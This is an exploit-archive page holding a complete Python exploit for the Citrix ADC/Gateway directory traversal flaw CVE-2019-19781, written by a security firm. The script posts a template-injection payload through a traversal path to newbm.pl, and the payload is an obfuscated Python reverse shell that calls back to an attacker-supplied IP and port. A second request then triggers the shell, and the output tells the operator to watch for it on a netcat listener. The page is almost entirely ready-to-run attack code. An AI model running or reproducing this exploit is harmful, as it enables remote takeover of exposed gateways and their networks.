exploit the possibilities

Citrix Application Delivery Controller / Gateway Remote Code Execution / Traversal

Citrix Application Delivery Controller / Gateway Remote Code Execution / Traversal
Posted Jan 11, 2020
Authored by David Kennedy, Rob Simon

Citrix Application Delivery Controller and Citrix Gateway directory traversal remote code execution exploit.

tags | exploit, remote, code execution, file inclusion
advisories | CVE-2019-19781
MD5 | 6ccda56008adbf264c48830e112e414f

Citrix Application Delivery Controller / Gateway Remote Code Execution / Traversal

Change Mirror Download
#!/usr/bin/python3
#
# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
#
# You only need a listener like netcat to catch the shell.
#
# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White
#
# Tool Written by: Rob Simon and David Kennedy

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import random
import string
import time
from random import randint
import argparse
import sys

# random string generator
def randomString(stringLength=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))

# our random string for filename - will leave artifacts on system
filename = randomString()
randomuser = randomString()

# generate random number for the nonce
nonce = randint(5, 15)

# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script
# note that the file location will be in /netscaler/portal/templates/filename.xml
def stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport):

# encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC)
encoded = ""
i=0
text = ("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport))
while i < len(text):
encoded = encoded + "chr("+str(ord(text[i]))+") . "
i += 1
encoded = encoded[:-3]
payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]"
headers = (
{
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename),
'NSC_NONCE' : '%s' % (nonce),
})

data = (
{
"url" : "127.0.0.1",
"title" : payload,
"desc" : "desc",
"UI_inuse" : "a"
})

url = ("https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport))
requests.post(url, data=data, headers=headers, verify=False)

# this is our second stage that triggers the exploit for us
def stage2(filename, randomuser, nonce, victimip, victimport):
headers = (
{
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
'NSC_USER' : '%s' % (randomuser),
'NSC_NONCE' : '%s' % (nonce),
})

requests.get("https://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename), headers=headers, verify=False)


# start our main code to execute
print('''

.o oOOOOOOOo OOOo
Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
`O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
.OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
OOOOO '"OOOOOOOOOOOOOOOO"` oOO
oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
"OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :`
: .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? .
. oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
'%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
`$" `OOOO' `O"Y ' `OOOO' o .
. . OP" : o .
:

Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
Tool Written by: Rob Simon and Dave Kennedy
Contributions: The TrustedSec Team
Website: https://www.trustedsec.com
INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/

This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used
to append files in an XML format to the victim machine. This in turn allows for remote code execution.

Be sure to cleanup these two file locations:
/var/tmp/netscaler/portal/templates/
/netscaler/portal/templates/

Usage:

python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''')

# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("attackerip", help="the attackers reverse listener IP address")
parser.add_argument("attackerport", help="the attackersa reverse listener port")
args = parser.parse_args()
print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...")
print("[*] Saving filename as %s.xml on the victim machine..." % (filename))
# trigger our first post
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second post
stage2(filename, randomuser, nonce, args.target, args.targetport)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close